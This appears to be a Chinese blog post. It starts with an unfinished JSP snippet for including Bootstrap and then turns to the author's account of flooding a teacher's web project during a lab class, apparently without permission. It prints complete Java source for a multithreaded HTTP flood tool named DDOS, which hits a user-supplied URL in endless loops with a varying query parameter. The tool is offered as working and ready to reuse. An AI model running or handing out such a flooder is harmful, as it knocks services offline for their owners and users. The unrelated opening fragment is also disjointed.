先引入bootstrap，爲了防止每個網頁都引入，單獨把引入bootstrap寫成一個網頁，然後在其他網頁中用jsp:include動態包含
<!-- res.jsp -->
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
<link rel = "stylesheet" type = "text/css"
href = "ReSources/bootstrap/css/bootstrap.min.css">然後寫input.jsp頁面，注意第19行動態包含了res.jsp頁面
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>

其實上面的內容都不重要，老師在機房給我們上課的時候，我試了一下訪問老師的jsp項目，居然成功了，我突然想到一個點子，利用java起很多線程去訪問老師的web項目模擬DDOS，結果不出意料的成功了，先附上代碼，下面講解一下這個代碼
import java.io.*;
import java.net.*;
import java.util.Scanner;
public class DDOS implements Runnable {
private static String strUrl = null;
private static long numL = 0L;
private static Scanner scanner = new Scanner(System.in);
public void run() {
HttpURLConnection connection = null;
InputStream urlStream = null;
URL url = null;
while (true)
try {
url = new URL(strUrl + numL);
connection = (HttpURLConnection) url.openConnection();
connection.connect();
urlStream = connection.getInputStream();
if (urlStream != null) {
numL += 1L;
urlStream.close();
System.out.print("\t" + numL);
if (numL % 30L == 0L)
System.out.println();
}
Thread.sleep(10L);
} catch (InterruptedException e) {
while (true) {
e.getMessage();
try {
Thread.sleep(1000L);
} catch (InterruptedException ie) {
ie.printStackTrace();
}
}
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws MalformedURLException {
System.out.println("");
int threadNum;
while (true) {
System.out.println("線程數:");
threadNum = scanner.nextInt();
System.out.println("網址:");
String str = scanner.next();
strUrl = str;
if (str.indexOf("?") >= 0)
strUrl += "&num=";
else
strUrl += "?num=";
System.out.println("--------------------------------------");
System.out.println("線程數:" + threadNum);
System.out.println("地址:" + str);
System.out.println("請再次確認(Y/N):");
String tmp = scanner.next();
if ("Y".equalsIgnoreCase(tmp))
break;
if ("N".equalsIgnoreCase(tmp))
continue;
System.out.println("輸入錯誤,請重新輸入(Y/N):");
}
for (int i = 0; i < threadNum; ++i) {
DDOS at = new DDOS();
Thread t = new Thread(at);
t.start();
}
}
}
